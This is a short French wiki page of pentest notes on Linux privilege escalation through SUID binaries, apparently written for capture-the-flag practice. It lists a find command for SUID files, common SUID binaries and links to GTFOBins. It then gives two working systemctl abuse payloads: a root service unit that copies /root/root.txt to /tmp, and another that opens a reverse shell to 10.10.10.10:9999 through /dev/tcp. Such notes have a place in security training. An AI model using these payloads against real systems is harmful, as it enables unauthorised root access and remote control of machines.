procedures:privesc_gnu_linux
This is an old revision of the document!
Table of Contents
Privesc GNU/Linux
SUID
find / -user root -perm -4000 -print 2>/dev/null
Liste des SUID courants
/usr/bin/newuidmap /usr/bin/chfn /usr/bin/newgidmap /usr/bin/sudo /usr/bin/chsh /usr/bin/passwd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/gpasswd /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/squid/pinger /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /bin/su /bin/ntfs-3g /bin/mount /bin/ping6 /bin/umount /bin/ping /bin/fusermount /sbin/mount.cifs
SUID systemctl
https://gtfobins.github.io/gtfobins/systemctl/
https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
https://www.jil-wright.com/blog/tryhackmevulnversity
cd /bin sh sh -p echo '[Service] Type=oneshot ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output.txt" [Install] WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF cat /tmp/output.txt
[Unit] Description=roooooooot [Service] Type=simple User=root ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/9999 0>&1' [Install] WantedBy=multi.user.target
procedures/privesc_gnu_linux.1621449686.txt.gz · Last modified: 2021/05/19 20:41 by didzkovitchz
